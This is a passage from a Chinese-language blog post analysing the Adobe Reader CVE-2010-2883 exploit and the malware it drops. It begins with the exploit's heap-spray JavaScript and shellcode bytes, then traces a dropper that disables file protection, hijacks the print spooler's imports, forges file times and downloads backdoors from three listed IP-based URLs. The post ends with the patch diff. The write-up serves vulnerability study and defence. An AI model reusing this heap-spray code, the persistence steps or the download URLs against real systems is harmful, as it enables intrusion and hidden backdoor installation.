"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
// unescape("%u0c0c%u0c0c"); 滑块代码 0x0c 等于指令 OR al, 0C; 大量执行对 shellcode 无影响
var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");
// 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
while (nop_chip.length + 20 + 8 < 65536)
nop_chip += nop_chip;
// 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
temp_chip += nop_chip; //拼接后续的滑块代码
// shellcode 小片段一个是 0x10000 大小,unicode 一个长度等于2字节,0x10000实际是 0x20000 字节大小,除2 为 0x10000
small_shellcode_slide = temp_chip.substring(0, 65536 / 2);
// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while (small_shellcode_slide.length < 0x80000)
small_shellcode_slide += small_shellcode_slide;
// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,shellcode_slide 应该小于堆块大小
shellcode_slide = small_shellcode_slide.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var slide = new Array();
// 0x1f0 等于 496 ,也就是在内存中申请了接近 500 MB 的内存
for (i = 0; i < 0x1f0; i++)
slide[i] = shellcode_slide + "s";// s 字符无实际作用,估计用于免杀
现在分析下这段代码。由于 0x0c0c0c0c 处的代码在运行时已经被修改过,我们跳转到 0x0c0B0c0c 处查看。第一行代码就是实际的 shellcode,以 \x41\x41 开头,第二个双字即为 icucnv36.dll 中的返回地址 0x4A8063A5,是 ROP 链的一部分。
接着在 57 行处构造了 4 字节长度的滑板代码,也就是4个 0x0c,0x0c 等于指令 OR AL, 0C; 大量执行对 shellcode 无影响,和 0x90 nop 指令等价。在50-60行的 while 循环处不断拼接,直到长度为 65536 * 2 字节 ,因为 javascript 的 unicode 字符串中的一个字符用两个字节来表示。换个说法,就是长度为 2 的字符串,实际是占用4个字节的。
接下来在62行处先截取了长度为 0x0c0c-0x24 长度的滑板代码,然后在截取的滑板代码后面添加 shellcode,这样做的目的是保证 shellcode 中0x4A8063A5 开始处的地址刚好保存在 0xXXXX0C0C 的地址上。如0x0C0B0C0C、0x0C0C0C0C 等。然后再在后面拼上滑板代码,最后在66行处把代码截断成 65536 长度,也就是 0x10000 的长度。也就是说,在堆中,每间隔 0x10000 的地址,就会有一段完全相同的 shellcode 加滑板代码,如 0x0C0A0C0C、0x0C0B0C0C、0x0C0C0C0C 处的代码完全一样。
上面为什么要减去 0x24 呢,是因为堆的开头会有 0x20 的头部信息,我们划到该堆块地址的开头可以看到。
由于前面 shellcode 是以 4 个 0x41 字节开头的,所以要再减去 4,这样 0x4A8063A5 就刚好可以放到堆可以内存开始的 0x0c0c 的位置。以图中的内存计算为例:
0xC060000 是开始地址,但该地址是存放堆头部信息的,不是存放数据开始的地址,真正开始存放数据的是 0xC060020 开始的地址。所以shellcode 地址存放在
0xC060000 + 0x20 + 0x0C0C - 0x20 - 0x4 = 0xC060C08 地址处,该地址是存放 shellcode 开头的 0x41414141 ,第二个双字 0x4A8063A5 刚好位于 0xC060C08 + 0x4 = 0xC060C0C 位置处,这就实现了精准堆喷。
每一小片 shellcode和滑板代码的长度是 0x10000,因此在
0xC060C0C + 0x10000 = 0xC070C0C 处,也存在同样的代码,这就保证了在 0x0C0C0C0C 处一定为 shellcode 的 0x4A8063A5。
接下来把 0x10000 长度的 shellcode 不断拼接,直到长度接近 0x80000 * 2 = 0x100000, 也就是 1MB 大小。最后在 71 行处截断 0x1020 - 0x08 长度
我们看看当前堆块,结束地址为 0xC15FFFC + 0x4 = 0xC160000 大小为1MB,但实际上比 1MB 要小 0x20 字节或者更多。所以后面截断一部分可以让堆块能保存下构造好的 shellcode 。
在 72 行处创建了一个数组,然后不断往数组中填入 1MB 大小的 shellcode 以实现 heap spray ,0x1f0 为 496,也就是创建了约 500MB 大小的堆内存。
查看任务管理器,发现内存用了 700 多M,和分析基本一致,heap spray 是在文档打开时完成的,因为要申请 500M 的内存,所以刚启动时会卡顿几秒钟。
恶意样本分析
上面完成了对漏洞的分析,下面对漏洞利用后,释放的恶意代码来进行分析,分析其行为。
把恶意代码复制到新创建的可执行内存后,跳转到该地址运行恶意代码。可以一步步跟踪代码进行分析,F7 步入继续分析:
恶意代码会从 kernel32.dll 中获取想要调用的函数地址。首先获取了 kernel32.dll 的基地址,0x4710044 处先赋值 ecx 为 0x30 ,fs[0x30] 处即为进程环境块 PEB 的指针,通过 PEB + 0xC 偏移处获取
PEB_LDR_DATA 结构体指针,PEB_LDR_DATA 偏移 0x1C 处获取
InInitializationOrderModuleList成员指针,lods [esi] 获取双向链表当前节点的后继指针, 指向 kernel32.dll 节点,找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。获取加载基地址为 0x7C800000 ,保存在 ebx 中。
在 0x4710052 处往栈里面压入 0xC,这个数目是需要寻找的函数数目,再压入基址,然后在 0x471005A 处压力入了第一个需要寻址的函数 hash。
在 0x47102F8 处通过基址偏移 0x3C 处获取 PE 头偏移,然后在 PE 头偏移 0x78 处获取了 kernel32.dll 导出表的虚拟地址 0x262C,加上基址为 0x7C80262C。
接着 0x4710301 处的代码在导出表偏移 0x18 处获取了导出表函数的数目,为 0x3B9 个函数,保存在 ecx 中,导出表偏移 0x20 处获取了导出表函数名称表的地址,为 0x3538,加上基址后是 0x7C803538。
在 0x471030C 处从最后一个函数名地址开始获取地址放到 esi 中,然后在 0x471030F 处加上基址获取函数名的真实地址到 esi 中,可以看到本次加载的函数是 lstrlenW 函数。
加载函数名后,在0x471031B 处根据函数名计算 hash,保存在 edi 中,然后在 0x4710322 处比较 hash 是否相等,如果相等就是想要的函数。
在 0x4710322 处下个条件断点,条件为 edi==[esp+0x14]
F9 运行,命中断点时,查看 esi,可以看到第一个函数是 ExitThread 函数。
接下来在 0x4710328-0x4710339 处做了以下操作
- 先在导出表偏移 0x24 处获取输出序号数组的地址
- 通过输出序号数组获取 ExitThread 函数的序号,其中 ECX 就是序号
- 获取函数地址数组
- 根据序号在函数地址数组中找到 ExitThread 函数的地址,保存在 eax 中,可以看到此时 eax 已经指向 ExitProcess 函数,猜测在实际中,ExitThread 函数即为 ExitProcess 函数
找到函数地址后,在0x4710064 处把函数地址保存在 0x4710005 + ecx*4 - 0x4 处
然后再次循环,加载另一个函数的 hash,其中 loopd 会对 ecx 减1,ecx 存放着还没完成解释的函数数目 ,如果 ecx 不等于0 则继续循环,如果等于0,则结束循环,在 0x4710068 处添加一个条件断点,当 ecx 等于 1 时断下。
中断时,已经完成所有函数的地址解析,查看数据窗口,已经解析了 12 个函数地址
接着调用 GetFileSize 函数,GetFileSize 函数会根据文件 handler 获取该文件的大小,此处会一直遍历所有 handler 并获取文件大小,比较是否大于 0x2000,如果大于则跳转到 0x471008F。
在 0x471008F 处下个断点,F9 运行,断下来后,发现 esi 的 handler 是 308,eax 返回的大小是 0x1CAD74
点击 h 查看所有句柄,发现 308 刚好对应 a.pdf,所以恶意代码获取了样本 pdf 文件的大小。
接下来调用 SetFilePointer 函数,把文件指针指向文件偏移 0x1200 处
接着调用 ReadFile 函数,读取该位置 0x8 字节到栈上 0x0C0C0CFC 处
然后比较该处的值是否是特定的值
如果是特定的值,可以确定是恶意文档本身,就调用 GlobalAlloc 函数,从堆中分配指定数量的字节,以 0 填充,该大小为 pdf 文件的大小 0x1CAD74
分配后的地址是 0x3C50020,接着调用 ReadFile 把整个文档读取到内存中。
读出来后,使用异或解密 PDF 中的一个 stream 流对象
解密后,可以看到 0x3C51248 处是 ZM 字符,这似乎是 EXE 的文件头 MZ 交换后的字符。在 ZM 前面有个 svrhost.exe 字符串,获取该字符串并拼接在临时目录地址上。
创建 C:\DOCUME1\ADMINI1\LOCALS~1\Temp\svrhost.exe 文件
接着交换字节,使前 200 字节恢复成正常的 PE 文件格式,然后调用 lwrite 函数把解密后的 PE 文件写进 svrhost.exe 中
接着调用 winexec 函数执行 svrhost.exe 文件。
把 svrhost.exe 复制出来,用 ida 打开使用 F5 反编译进行分析,同时使用
ollydbg 加载运行 svrhost.exe 和 ida 结合分析。
在 56 行处组装了一个命令行并执行,创建了一个 hid128.log 文件
C:\WINDOWS\system32\cmd.exe /c echo 12345>C:\WINDOWS\system32\setup\hid128.log
在 70 行处关闭文件保护,跟进去查看
首先启用 SeDebugPrivilege 权限,从而可以打开其它进程句柄。
elvatePrivilege 函数是一个典型的提升权限功能,获取 SeDebugPrivilege 权限并设置 SE_PRIVILEGE_ENABLED 属性来开启权限。
获取权限后,在 29 行处加载 sfc_os.dll,在 34 行处获取 dll 中的
SfcTerminateWatcherThread 函数的地址,该函数用于关闭文件保护,接着在 36 行处打开 winlogon.exe 的进程句柄,最后在 37 行处使用 winlogon.exe 的 SYSTEM 权限来远程执行 SfcTerminateWatcherThread 函数,从而关闭文件保护。
decodeUrl 函数解密 3 个 url 地址
http://203.45.50.118/monitor/images/mmc_vti0915.gif
http://203.45.80.96/monitor/images/mmc_vti0915.gif
http://61.222.31.83/monitor/images/mmc_vti0915.gif
接下来调用一个函数,把 spooler 字符串传进这个函数
跟进函数,先创建了 C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp_unstop.bat
内容为
net stop "Spooler"
net stop "Spooler"
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstop.bat"
作用是关闭 Spooler 服务,然后删除自身。创建后调用 ShellExecuteA 函数运行该脚本
运行脚本前,用 msinfo32 查看正在运行的服务,发现打印服务 Spooler 正在运行
运行后 Spooler 服务已经停止
停止打印服务后,先判断 C:\WINDOWS\system32\Setup\msxm32.dll 文件是否存在,如果不存在,会备份 C:\WINDOWS\system32\spoolsv.exe 打印程序到
C:\WINDOWS\system32\Setup\fxjssocm.exe ,然后再复制一份到 C:\WINDOWS\system32\spooler.exe,接着在 139 行处调用函数修改 spoolsv.exe 的导入表。
跟进修改导入表的函数查看并调试,可以确定它的具体功能,其中需要熟练掌握 PE 文件格式中的导入表,可以查看《加密与解密》中的11章学习。在 94 行处判断文件是否以 MZ 字符开头,以及是否存在 PE 头,从而确定该文件是一个可执行文件。
接下来会进入一个循环,遍历所有区块,把区块设置成可读可写,然后获取了数据目录表第二个成员,也就是导入表的相对虚拟地址。在 118 行处通过 RVA 计算出导入表在文件中的偏移地址。
找到导入表文件偏移地址,把 IMAGE_IMPORT_DESCRIPTOR(IID) 数组复制到一个新的地址,并计算新导入表的文件偏移。IID 保存着该 PE 文件引用了哪些 DLL 的哪些函数。
在新的导出表中创建一个新的 IID ,目的是给 spoolsv.exe 引用 msxml0r.dll 中的 EntryPoint 函数。
修改完 spoolsv.exe 后,在 148 行处把 spoolss.dll 的文件时间复制给 spoolsv.exe ,增加隐蔽性。
接着在 150 行处调用函数,修改了 spooler 服务的启动类型为自动启动
接下来把 msxml0r.dll 字符串和,0x40B148 的地址传进函数
查看一下 0x40B148 处的内容,有很多 0x90 数据,明显是原始数据经过 0x90 异或加密后的数据。
跟进该函数,发现该函数功能是把 0x40B148 处的数据写进
C:\WINDOWS\system32\msxml0r.dll
接着在 17 行处调用函数进行解密
解密后会把 3 个 URL 写进 dll 文件中,这3个 URL 估计是后续要下载的后门程序。
释放完 msxml0r.dll 后,再次修改文件时间
接着在 171 行处调用函数,跟进函数,该函数生成
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp_unstart.bat
内容为
net start "Spooler"
net start "Spooler"
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstart.bat"
作用是启动打印服务,然后删除自身,这样就可以运行 msxml0r.dll 了
把 msxml0r.dll 复制出来,使用 ida 打开,发现加了壳,全是一些混乱的代码和数据。
使用 PEID 识别,该 dll 使用了 PeCompact 加壳
可以使用 ollydbg 加载该 DLL,然后调试进行脱壳,
DLL 脱壳后,会再次进入入口点执行,先在入口点 0x100023D2 处下一个硬件断点,以免软件断点插入的代码影响脱壳,脱壳后再次进入入口点执行时,会中断
再次中断时,已经是脱壳后的正常代码,使用 ctrl+a 重新分析代码。
断在入口点 OEP 后使用 ollydump 插件进行脱壳
脱壳后使用 ida 打开脱壳后的 dll 文件进行分析。在 DllMain 函数中创建了一个线程,运行了 sub_10001870 函数。
在 0x10001870 处 下一个断点,然后关闭 ollydbg stongod 插件的
Skip some Exceptions 选项
、
点击 F9 运行,第一次中断在 0x10001000 处,继续 F9运行,会成功中断在 0x10001870 处
接下来使用 od 和 ida 组合一起分析该 dll 的行为,在 105 行处通过循环判断3个 exe 文件是否存在计划任务目录中。这3个 exe 文件为后续从网上下载的 exe 。
C:\WINDOWS\Tasks\svchost.exe
C:\WINDOWS\Tasks\wuauclt.exe
C:\WINDOWS\Tasks\userinit.exe
如果存在,则运行
接下来删除了 C:\WINDOWS\system32\msxml0.dll 文件,该文件来历不明,估计是后续下载的恶意文件生成的。然后解密了3个 url
接下来会判断是否存在 explorer 进程,如果存在则模拟 explorer 进程的权限运行 downloadpayload 函数
该函数地址为 0x100017A0, 在此处下一个断点,F9 运行到此处。首先会删除计划任务中的3个程序
C:\WINDOWS\Tasks\svchost.exe
C:\WINDOWS\Tasks\wuauclt.exe
C:\WINDOWS\Tasks\userinit.exe
接着调用 downloadPayloadToExe 函数重新下载 3 个 exe 文件
传入的两个参数分别为
http://203.45.50.118/monitor/images/mmc_vti0915.gif
C:\WINDOWS\Tasks\svchost.exe
跟进 downloadPayloadToExe 函数, 由于 url 内容已经失效,只能在 ida 查看下功能,发现该函数会把 url 返回的内容写进 exe 文件中。
到此可以确定该恶意 dll 的作用是下载或更新后门程序到计划任务中,然后定时执行。由于 URL 已经失效,所以无法进行后续的分析了。
让我们回到上一个程序 svrhost.exe,在启动 spooler 服务来启动 msxml0r.dll 后,会调用一个函数来删除自身。
生成一个 C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp_uninsep.bat 文件并运行
:Repeat
del "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe"
if exist "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe"
goto Repeat
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_uninsep.bat"
最后再回到样本文件中,查看启动完 svrhost.exe 后的操作。样本会调用
GetCommandLineA 函数获取运行 pdf 的命令行,这里会返回
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” 但实际上是错误的,平时打开 pdf 后,GetCommandLineA 函数返回的应该是
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” “C:\a.pdf”
这是由于我们是在 Adobe Reader 文件菜单里通过打开功能打开的文件,而不是双击文件来进行打开。
先修复 eax 指向处的字符串为正确的内容,双击内存窗口字符串最后的双引号,也就是 0x22 处
在 ascii 字符串处个在双引号后面添加 空格+“C:\a.pdf” 。这就是为什么前面要重命名成简单的名字,在这里方便输入。
接下来会获取倒数第二个双引号的位置,目的是获取当前 pdf 文件的路径
成功获取 pdf 文件路径。
接着分配一个内存空间,把样本文件 0x3C65408 处的内容复制到内存 0x26120020 处,长度为 ecx 的值 0x1AAF7E。可以看到 esi 处指向 0x3C65408 开始内容为 PDF 的头部。也就是说复制的内容是一个 PDF 文件内容。
0x3C65408 距离样本 pdf 文件的开始地址 0x3C50010 处的距离为 0x153f8 字节,所以该操作把样本文件偏移 0x153f8 后面的正常PDF内容覆盖整个样本文件。
整个恶意 PDF 文件的结构大致如下:
覆盖上正常的内容后,拼接一条 cmd 命令
cmd.exe /c “C:\a.pdf”
然后运行该命令打开正常的 PDF 文件,然后退出进程。
再次打开 a.pdf 文件,已经是正常内容
样本分析到此就结束了,可见这是一个完整的利用链,利用漏洞释放后门程序后,恢复样本文件为正常的文件并打开,让我们察觉不到出现了异常。
总体流程
最后总结一下该漏洞样本执行的所有关键操作,里面有很多可以学习的地方
- 通过 strcat 函数进行栈溢出。
- 通过覆盖栈上的一个函数指针并在后续调用该指针来绕过 GS 保护。
- 通过 heap spray 技术在内存中布置 shellcode。heap spray 的 javascript 脚本使用随机变量名、\x25 代替 % 号、添加无用代码等方式绕过杀毒软件分析。
- 通过 ROP 链来绕过 DEP 保护。
- 通过未开启 ASLR 的模块来绕过 ASLR ,从而运行 ROP 链。
- 通过 PEB 获取 kernel32.dll 的基址,从而获取需要运行的函数地址。
- 使用异或和交换字符的方式对恶意 PE 文件进行加密。
- 释放并运行 svchost.exe 恶意文件,其文件名和系统进程名一致,增加了隐蔽性。
- 提升权限以便进行后续操作。
- 关闭系统文件保护,以便修改系统文件。
- 修改打印服务程序 spoolsv.exe 的导入表,使其在启动时加载恶意 dll 文件。
- 修改文件时间,以增加隐蔽性。
- 释放加密后的 msxml0r.dll ,然后对 msxml0r.dll 进行解密。同时 msxml0r.dll 名字和系统现有的文件名十分相似,增加了隐蔽性。
- 运行完程序后,没用的程序则删除自身,防止被发现。
- 使用加壳技术阻止逆向分析恶意程序。
- 通过远程下载,把恶意程序下载到计划任务文件夹来实现自动运行,并且具有更新功能。
- 修改恶意样本 PDF 文件为正常 PDF 文件并打开,制造一种打开正常 PDF 文件的假象防止被发现。
漏洞修复
安装 Adobe Reader 9.4.0 版本,把其中的 CoolType.dll 复制出来,使用
bindiff 进行分析,或者用 ida 定位到相同位置,查看差异,发现原 dll 文件的
sub_803DCF9 函数和打补丁后的 dll 文件 sub_0803DD33 函数相似度比较低。明显是进行了大修。
双击打开该条目,发现在 0x803DDAB 处本来是调用 strcat 的,在打补丁后的该处变成了调用 0x813391E 函数。
使用 ida 查看该函数
发现在第7行处检查了长度是否大于 260,并调用更安全的 strncat 函数,复制字符串的长度不超过 260 字符。
总结
该漏洞样本文件利用了多种技术来绕过系统的保护,同时绕过了 GS、DEB 和 ASLR 。同时也是一个完整的利用链,从漏洞利用到释放恶意代码,到最后显示正常的文件内容,都进行了精心设计,是一个非常值得分析学习的漏洞样本。
参考资料
《漏洞战争》
https://www.anquanke/post/id/179681
https://sp4n9x.github.io/2018/06/01/CVE-2010-2883%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/
本文章也在我的公众号发布
版权声明:本文标题:CVE-2010-2883 从漏洞分析到样本分析 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1726377645h948252.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论